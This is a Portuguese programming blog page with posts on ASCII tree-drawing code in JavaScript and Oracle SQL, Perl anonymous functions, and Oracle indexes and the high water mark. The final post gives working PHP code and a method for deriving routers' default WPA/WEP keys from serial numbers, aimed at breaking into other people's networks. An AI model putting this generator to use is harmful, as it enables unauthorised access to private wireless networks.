Mais um blog inútil.

Uncategorized

Dezembro 16, 2024

Oi!

Arquivado em: uncategorized — tatts @ 11:13

Janeiro 20, 2015

Arvorezinha 2.0 em JavaScript

Arquivado em: arvorezinha, coding, uncategorized — nausea @ 18:06
                    _..._
 Tired of using  .-'     '-.  Are you still using
 different cli  /     _    _\  that incoherent, bug
 ent and serv  /':.  (o)  /__)  ridden, insecure mess
 er languages /':. .,_    |  | that is PHP?
 on all your |': ; /  \   /_/
 web         /  ;  `"`"    }  Would you like to use a
 projects?  ; ':.,         {  modern, general-purpose,
           /      ;        }  web-scale, optimized,
 +-----------------------+ {  object-oriented, scalable,
 |      TESTEMONIALS     |`\  dependency-free, modular,
 | "I installed nodeJS.  |  ; agnostic, baked-in, light-
 | Five seconds of tink- |  | weight, component framework,
 | ering later I solved  |  ; responsive, event-driven,
 | world hunger, effectu |  | non-blocking i/o, efficent,
 | ated peace in the mid |  | perfect for data-intensive
 | dle east and started  |  / an,--.........,-time appli-
 | the first manned miss | ;  .'           -='.sy building
 | ion to jupiter while  |/  .\               'eautiful
 | holding a cigar in one|     \             .'pplications
 | hand and a death-ray  |\~"`_ \          .'gram like its
 | in the other."        ||   `  \      ..'rock out with
 +-----------------------+|  =="''\.==''your cock out
    ~ /; ;/=""      |`| |`|  `
    ~..==`     \\   |`| / /=="` Now You Can With Node.JS!
     ~` ~      /,\ / /= )")     The Cancer of Javascript
    ~ ~~         _')")          has just spread to servers!
    ~ ~   _,=~";`
    ~  =~"|;  ;|       Node.JSbird
     ~  ~ | ;  |       ===========
  ~ ~     |;|\ |    Available via NPM
          |/  \|

Não consigo deixar de nadar contra a corrente do blol/#c, que por norma odeia JavaScript e derivados. Trago-vos uma Arvorezinha 2.0 feita em JavaScript, que à boa moda deste blog, não acrescenta rigorosamente nada de interessante ou novo em relação às implementações anteriores. Podem corre-la na consola de qualquer browser, ou se quiserem crescer alguns centimetros de barba hipster, em node.js.

Futuramente farei algo com as funcionalidades do node, como por exemplo, um servidor de arvorezinhas à moda do phalic 100% RESTful.

var LittleTree = function(altura) {
    this.altura = altura;
}

LittleTree.prototype.makeTree = function() {

    var result = "";

    for (var i = 1; i <= this.altura; i++) {

        for (var j = 0; j < this.altura - i; j++) {
            result += " ";
        }

        for (var j = 1; j <= 2*i - 1; j++) {
            result += "*";
        }

        result += "\n";
    }

    return result;

}

LittleTree.prototype.makeTrunk = function() {

    var result = "";
    var lastLineWidth = this.altura * 2 - 1;

    if (this.altura % 2 > 0) {

        for (var i = 0; i <= (this.altura / 2); i++) {

            for (var j = 0; j <= lastLineWidth / 4 - 1; j++) {
                result += " ";
            }

            for (var j = 0; j <= lastLineWidth / 2; j++) {
                result += "#";
            }

            result += "\n";

        }

    } else {

        for (var i = 0; i <= (this.altura / 2); i++) {

            for (var j = 0; j <= lastLineWidth / 4; j++) {
                result += " ";
            }

            for (var j = 0; j <= lastLineWidth / 2 - 1; j++) {
                result += "x";
            }

            result += "\n";

        }

    }

    return result;
}

LittleTree.prototype.toString = function() {
    return this.altura + ":\n" + this.makeTree() + this.makeTrunk() + "\n";
}

var sizes = {
    1 : null,
    2 : null,
    3 : null,
    4 : null,
    5 : null,
    6 : null,
    10 : null,
    20 : null,
    40 : null,
};

for (size in sizes) {
    console.log(String(new LittleTree(size)));
}

Output:

1:
*
#


2:
 *
***
 x
 x


3:
  *
 ***
*****
 ###
 ###


4:
   *
  ***
 *****
*******
  xxx
  xxx
  xxx


5:
    *
   ***
  *****
 *******
*********
  #####
  #####
  #####


6:
     *
    ***
   *****
  *******
 *********
***********
   xxxxx
   xxxxx
   xxxxx
   xxxxx


10:
         *
        ***
       *****
      *******
     *********
    ***********
   *************
  ***************
 *****************
*******************
     xxxxxxxxx
     xxxxxxxxx
     xxxxxxxxx
     xxxxxxxxx
     xxxxxxxxx
     xxxxxxxxx


...

Update: Conforme prometido, fiz um serviço RESTful baseado neste script powered by node.js + express.io. Demorou 5 minutos a fazer, só com uma mão e enquanto mandava uma cagada, conforme prometido pelo passaroco ali acima.

Outubro 2, 2013

Arvorezinha 2.0 em Oracle SQL

Arquivado em: arvorezinha, coding, uncategorized — nausea @ 15:54

Ora viva amiguinhos! Antes de mais gostava de vos saudar e agradecer por me acolherem no melhor blog inútil do mundo. Sinto-me como um ilustre convidado com as maiores honrarias, e planeio contribuir com mais postas de programação inútil (logo que seja natural e espontânea).

A minha primeira contribuição é para o projecto árvorezinha. Tenho para vós uma árvorezinha que respeita o RFC 2.0 (já existia uma 1.0) feita em Oracle SQL.

select * from (
 select 'a'||lpad(level, 5,'0') as linha,
  rpad(' ', &altura-level, ' ') || rpad('*', 2*level-1, '*') as arvorezinha
 from dual
 connect by level <= &altura
 union
 select 't'||lpad(level, 5,'0') as linha,
  rpad(' ', ((2*&altura-1)/4)+1, ' ')||rpad('#', (2*&altura-1)/2, '#')
 from dual
 where mod(&altura, 2) = 0
 connect by level <= (&altura/2)
 union
 select 't'||lpad(level, 5,'0') as linha,
  rpad(' ', ((2*&altura-1)/4), ' ')||rpad('#', (2*&altura-1)/2+1, '#')
 from dual
 where mod(&altura, 2) > 0
 connect by level <= (&altura/2)
) order by linha asc;

A implementação usa 3 queries: uma para desenhar o topo (*), e duas para desenhar o tronco (#) nos casos de termos uma arvorezinha de altura par e de altura ímpar.  Utiliza-se a função rpad para criar uma string com caracteres repetidos e foi só implementar as fórmulas presentes no programa-RFC no argumento length do rpad e na clausula connect by.

Para garantir a ordenação das linhas, criei uma segunda coluna ’linha'.

Aqui estão os magníficos resultados:


Infelizmente, não é compatível com MySQL porque a melhor base de dados livre não suporta a clausula connect by level :(

Novembro 30, 2011

Quake 1

Arquivado em: uncategorized — madinfo @ 14:17

Tenho que blolar sobre isto… Encontra-se um server de Quake 1 Shareware a correr com CRMOD (bons velhos tempos do quake.telepac.pt em que tínhamos que fazer reconnect 50 mil vezes pois o server só tinha 16 slots), para quem quiser jogar pode sacar 17 magnificas megas de jogo em cadaval.net/quake e entrar no quake.cadaval.net para jogar…

Dezembro 11, 2010

Programação Funcional com Perl (parte I, revista e aumentada)

Arquivado em: uncategorized — falco @ 22:23

Começo com este artigo uma série de artigos relacionados com a Programação Funcional com Perl.

Com estes artigos pretendo demonstrar algumas das capacidades do Perl para utilização com o paradigma de Programação Funcional. Não pretendo ensinar nem as bases da Programação Funcional, nem do Perl. Vou abrir excepções quando se tratarem de aspectos mais avançados e/ou muito relacionados com a própria Programação Funcional.
O objectivo destes artigos também não passa por colocar os leitores a fazer Programação Funcional pura, mas sim demonstrar as funcionalidades de Programação Funcional que o Perl dispõe.
Isto pode ser utilizado para praticar um estilo de programação com muitas semelhanças ao do paradigma da Programação Funcional, ou então simplesmente utilizar alguns “truques” para melhorar os programas que o leitor desenvolve.
A compreensão elementar do Perl e da Programação Funcional é um requisito para a compreensão destes artigos contudo tudo será explicado de forma a permitir que um principiante possa compreender tudo e quem tiver dúvidas poderá contactar-me para as esclarecer (falco @ Portugal a Programar).

Uma das principais características do Perl, em seguimento do mantra da sua comunidade («There’s more than one way to do it»), é não obrigar o programador a utilizar. Nem escolher um paradigma de programação, mas sim permitir ao programador utilizar o que quiser, quando quiser. Fica ao cuidado dele ter os cuidados necessários para que o código seja útil e siga boas práticas de programação. Há quem concorde com esta filosofia, há quem não concorde, mas a filosofia do Perl e da sua comunidade não é o âmbito deste artigo.
Um dos muitos paradigmas de programação que são possíveis utilizar em Perl é a Programação Funcional. Contudo não cabe a este artigo explicar a Programção Funcional. Por isso sugiro que antes de prosseguirem na leitura deste artigo leiam pelo menos uma curta explicação do que é Programação Funcional (os primeiros parágrafos do artigo da Wikipedia sobre Programação Funcional por exemplo). Como já há vários artigos sobre Programação Funcional em diversas linguagem como Python, Scheme, Haskell (recomendo que os leiam), deixo aqui a sugestão a alguém, para redigir um artigo teórico e agnóstico (em relação a linguagens de programação) sobre Programação Funcional.

Algumas das funcionalidades elementares das linguagens funcionais são asfunções anónimas e as closures (mas não só). O Perl tem ambas as features e é por aí que vamos começar esta série de artigos.

Começamos pelas funções anónimas.
Quando declaramos uma função em Perl, a prática mais comum é atribuir-lhe um nome na sua declaração. As funções anónimas não têm esse nome. Por isso, quando as queremos invocar, temos que utilizar uma referência para essa função dita anónima.

Em Perl a declaração de funções anónimas é simples. Para declarar uma função utiliza-se uma outra função, a função sub e para declarar uma função anónima também.
Para criar uma função anónima invoca-se a função sub sem o parâmetro correspondente ao nome da função. E como retorno obtém-se um código de referência para a função declarada.

Uma das alterações que o Perl 5.12 trouxe foi uma função chamada say.
O say é basicamente um print que adiciona um newline à string que queremos imprimir (poupa-nos pelo menos 4 caracteres).

Qualquer uma das seguintes linhas de código vai imprimir isolado numa linha a string: «Hello world!»:

[sourcecode lang="perl"]print "Hello world!\n";
print "Hello world!"."\n";
print "Hello world!", "\n";
say "Hello world!";[/sourcecode]

Para demonstrar a utilização de funções anónimas decidi criar uma implementação da função say, que antes da sua utilização permite definir como queremos que a string seja formatada:

[sourcecode lang="perl"]
sub say {   #definição da função say
    my ($string, $format) = @_;

    my $str = $format->($string);
    print $str;
}

my $format = sub#função anónima de formatação da string
        my $str = shift;
        return $str."\n";
    };

say("Hello world!", $format);
[/sourcecode]

Explicação do código antecedente:

Primeiro é definida a função say, como definiríamos qualquer outra função em Perl.

Depois é definida a função anónima de formatação e atribui-se essa função a uma variável chamada format e que guarda uma referência para a função. A variável permite-nos ter uma forma de passar a função anónima para a função say.

Quais as utilidades das funções anónimas?

São diversas. E vão desde a modificação do comportamento de uma função, como no exemplo anterior, ou como nos mecânismos de callback, ou a criação de “dispach tables”, como no exemplo que se segue:

[sourcecode lang="perl"]
my %lingua =#dispach table
        "pt" => sub { return "Olá mundo!" },
        "es" => sub { return "Hola mundo!" },
        "en" => sub { return "Hello world!" },
        "fr" => sub { return "Bonjour monde!" },
    );

sub dispach {
    my $l = shift;

    if(defined $lingua{$l} && exists $lingua{$l}) {
        my $str = $lingua{$l}->();
        print $str."\n";
    }
    else {
        print "Erro: lingua desconhecida!\n";
    }
}

dispach("fr");[/sourcecode]

Explicação do código antecedente:

Começou por ser definida uma hash table. Essa hash contém como chaves as opções válidas de línguas que queremos utilizar na impressão de uma saudação. E como valores, tem funções anónimas que imprimem uma saudação, na língua representada pela respectiva chave na hash table.

Em Perl há poderia ter sida implementada esta solução recorrendo a funções que não fossem anónimas. Mas isso traria imediatamente dois problemas: aumentaria a quantidade de código necessário e este artigo tem um limite de caracteres; não utilizaria funções anónimas, que é o objectivo deste exemplo ;). Para além de isso, o que é pretendido neste exemplo, é algo tremendamente simples que pode perfeitamente ser feito utilizando funções anónimas, sem se aumentar a dificuldade relevante da sua compreensão, quer como um todo, quer isoladamente.

A solução do exemplo, em vez de a utilização de um encadeamento maior de if-elsif, ou de um switch-case (também maior). Permite que a solução escale para mais opções de línguas, sem qualquer alteração e atinge melhor vários dos objectivos da utilização de funções na programação: conter/isolar os problemas de forma a simplificar a sua resolução, facilitar a compreensão do código.

No próximo, artigo vou falar da segunda das principais capacidades do Perl para a Programação Funcional de que falei antes, as closures.

(c) 2010 falco
Este artigo está licenciado de acordo com os termos da licença:
Atribuição - Uso Não-Comercial - Partilha nos Termos da Mesma Licença 2.5 que pode ser encontrada em: http://creativecommons.org/licenses/by-nc-sa/2.5/pt/legalcode
Em caso de dúvida, indisponibilidade de acesso à licença, ou se prentender algo que não seja permitido com esta licença, deverá contactar o autor no sentido de pedir exclarecimento, ou permissão para fazer o que pretende.

Dezembro 8, 2010

Indices bitmap - Oracle

Arquivado em: uncategorized — drune @ 10:55

Bom Dia Caros Leitores,

Hoje vou vos falar sobre algo simples, mas que muitos podem ter dúvidas principalmente quando programam SQL ou simplesmente precisam de optimizar por várias razões algum código.

Os programadores aplicam normalmente indices ao código, sem perceberem à priori, que tipo de indice necessitam, nem o seu impacto na performance. Hoje falaremos de indices bitmap que se resumem a indices que se designam comprimidos e que se aplicam geralmente nas seguintes situações:

- Colunas com pouca cardinalidade, ou seja, o número único de valores é muito baixo. Imaginem uma tabela por grande que seja que tenha uma coluna com notas de alunos de 0 a 5.

- Tabelas com realmente muito poucos INSERT/UPDATE/DELETE . Uma tabela de dicionário com dados estáticos é o ideal.

Sem entrar em muito detalhe quando ao uso destes indices nas situações acima, podemos considerar este tipo de indices altamente comprimidos (devido à sua natureza em que geram 1 bit para cada valor de coluna). A compressão destes indices permite uma leitura muito mais rápida fazendo nos poupar I/O pois ocupam menos espaço e são mais pequenos mas tendem a usar muito CPU de forma a conseguir “descomprimir” para o acesso.

Há muita contradição por essa interweb a fora que é possível usar este tipo de índices em tabelas com colunas com cardinalidades muito altas, sendo mesmo mais eficientes que os indices b-tree (em árvore binária) mas a minha experiência não me garante isto principalmente se as tabelas foram sujeitas a algumas (nem é preciso muitas) operações DML.

Estes tipo de indices são infinitamente mais complexos de manter optimizados, e com uma performance decente ao longo do tempo, devido principalmente à sua natureza de compressão e disposição em bitmap. Uma alteração a uma coluna, como por exemplo, passar a coluna das notas de alunos de 5 valores para 10, ou a adição de outra coluna  causa um overhead enorme comparado com os conhecidos b-tree indices.

Obrigado.

Dezembro 5, 2010

HWM (High Water Mark) Oracle

Arquivado em: uncategorized — drune @ 15:09

Bom dia Amigos,

Hoje vou falar-vos sobre um conceito denominado High Water Mark, ou simplesmente HWM, que basicamente define no Oracle a divisão de um segmento entre blocos usados e blocos livres. Um segmento, para os menos entendidos é um container de objectos, sejam eles tabelas, indices, cache, etc.

Ora então, para que serve isto do HWM? Imagine-mos que por exemplo temos uma tabela recentemente criada e que a tabela é basicamente uma estrutura linear, seria parecido com isto:

+---- high water mark numa tabela nova
|
v
+———————————–+
HWM| | | | | | | | | | | | | | | | |
HWM| | | | | | | | | | | | | | | | |
+–+–+–+–+–+–+–+–+–+–+–+–+

Se conseguirem perceber o desenho, num objecto recém-criado (neste caso tabelas, um pouco diferente do indice) que o HWM começa no primeiro bloco da tabela. Se por exemplo, inserirem 10k registos na tabela terão isto:

high water mark depois de inserir 10,000 registos (não consegui fazer o ASCII aqui nesta merda de blol…)

+——————————————+
|x |x |x |x |x |x |x |x |x |HWM | | | | | | |
|x |x |x |x |x |x |x |x |x |HWM | | | | | | |
+–+–+–+–+–+–+–+–+–+–+–+–+–+–++

Como podem reparar no desenho o HWM avançou, sendo clara agora a divisão entre blocos livres e blocos usados. O Oracle pode agora perceber quais são os blocos usados e os livres, e caso, haja necessidade de um FTS (full table scan) apenas o blocos à esquerda (ou abaixo, depende da prespectiva do desenho) do HWM serão lidos. O problema começa agora, quando por exemplo efectuam um DELETE na tabela e apagam por exemplo 1000 registos. A esquematização será a seguinte:

high water mark depois de inserir 10,000 registos e apagar 1000.

+—————————————–+
|x |x |x |x |x |x |x | | | |HWM  | | | | | |
|x |x |x |x |x |x |x | | | |HWM  | | | | | |
+–+–+–+–+–+–+–+–+–+–+–+–+–+–+

Como podem perceber o HWM não mexeu, dado que o Oracle não ajusta o HWM em operações DML deste tipo. Isto causa sérios problemas de performance, caso precisem que o Oracle leia todos os blocos usados (FTS, por exemplo) e à esquerda do HWM existem muitos blocos sem dados e outros com dados. Quando dão por isso, numa BD de >3TB por exemplo com uma elevada dinâmica de DDLs, vão acabar por fazer muita leitura de blocos à esquerda do HWM que não contêm dados. O I/O é bastanto caro actualmente, portanto minimizar a leitura do número de blocos (lendo apenas os realmente com dados) é uma prioridade.

Sugiro assim uma análise ao HWM periodicamente, ajustando o HWM com operações de rebuild,truncate ou shrink, ajustando assim o valor real do HWM.

Havia ainda algumas coisas importantes a dizer sobre o HWM, mas são desinteressantes e não contribuem para o entendimento do conceito em si :-)

Espero ter sido claro, não querendo entrar em muito pormenor técnico.
Obrigado Caros Leitores.

Abril 8, 2010

Algoritmos, chaves WEP e WPA e routers "baratos"...

Arquivado em: uncategorized — gatuno @ 16:18

Olá a todos,

Ontem confesso que não me estava a sentir muito bem-disposto por isso resolvi implementar um algoritmo que encontrei nas internetes sobre como descobrir as chaves predefinidas dos routers de alguns provedores… Aqui vai:

Certamente o leitor já se deverá ter deparado com algumas redes wireless com o nome “Toquerapido30A428”  ou “Marca49F90B” e afins… Geralmente os detentores das referidas redes por ignorância ou por solidariedade não alteram as chaves que vêm por defeito nos routers. O que este algoritmo pretende fazer é exactamente isso. Gerar as chaves predefinidas desses routers.

De acordo com o blog “fodi.me”, o algoritmo é o seguinte:

O número de série dos routers em questão é precisamente a base para todo o processo. Exemplificando:

CP YY WW PP XXX

Em que:

YY - Ano de Fabrico
WW – Semana de Fabrico
PP – Código do Produto
XXX - Desconhecido

O algoritmo passa por numa primeira fase gerarmos todos os números de série possíveis que nos interessarem, tendo em conta o ano e a semana de fabrico. O valor XXX (desconhecido) oscila entre AAA e 999, pelo que será necessário também gerar-se essa sequência. Uma vez gerada, adiciona-se essa string ao final de cada número de série. Seguidamente, passamo-la para hexadecimal. Posto isto, a cada número de série calculamos o hash sha1 do router: exemplo dado pelo fodi.me: CP0817314142 –> bc8c18aec9e740c37be79e7f2058c50fd922e4bb

Daqui, os primeiros 10 caracteres referenciam a chave de rede (necessário colocar em uppercase) e os últimos seis, o nome da rede, precedido pelo nome do fabricante: “Toquerapido22e4bb”.

A implementação em php para gerar as chaves é relativamente simples:

<?
function ascii2hex($ascii) {
$hexadecimal = '';
for ($i = 0; $i < strlen($ascii); $i++) {
$byte = strtoupper(dechex(ord($ascii{$i})));
$byte = str_repeat('0', 2 - strlen($byte)).$byte;
$hexadecimal.=$byte;
}
return $hexadecimal;
}
$dicionario = file('/Users/gatuno/wpa-wep/dic.lst');
for($ano=4; $ano<=11; $ano++)
{
if($ano<10)
{
$year = '0'.$ano;
}
else{
$year = $ano;
}
for($semana=1; $semana<=52; $semana++)
{
if($semana<10)
{
$week='0'.$semana;
}
else{
$week=$semana;
}
foreach($dicionario as $numLinhaDic => $linha)
{
$hex = ascii2hex(substr($linha,0,3));
$hash = sha1("CP$year$week$hex");
$chave = substr($hash,0,10);
$rede  = substr($hash,-6);
echo $rede;
echo ' '.$chave."\n";
}
}
}
?>

o ficheiro dic.lst apresenta apenas uma listagem igual à proposta pelo website.

# php -f gerador.php > redes

Apartir daí, para colocarmos esta listagem numa base de dados é trivial… O meu MBP 2.53 levou cerca de 4 minutos a gerar isto, totalizando uma base de dados de cerca de 400 MB :)

No entanto, é de louvar quem descobriu isto!Eu sou um mero “implementador”.. :)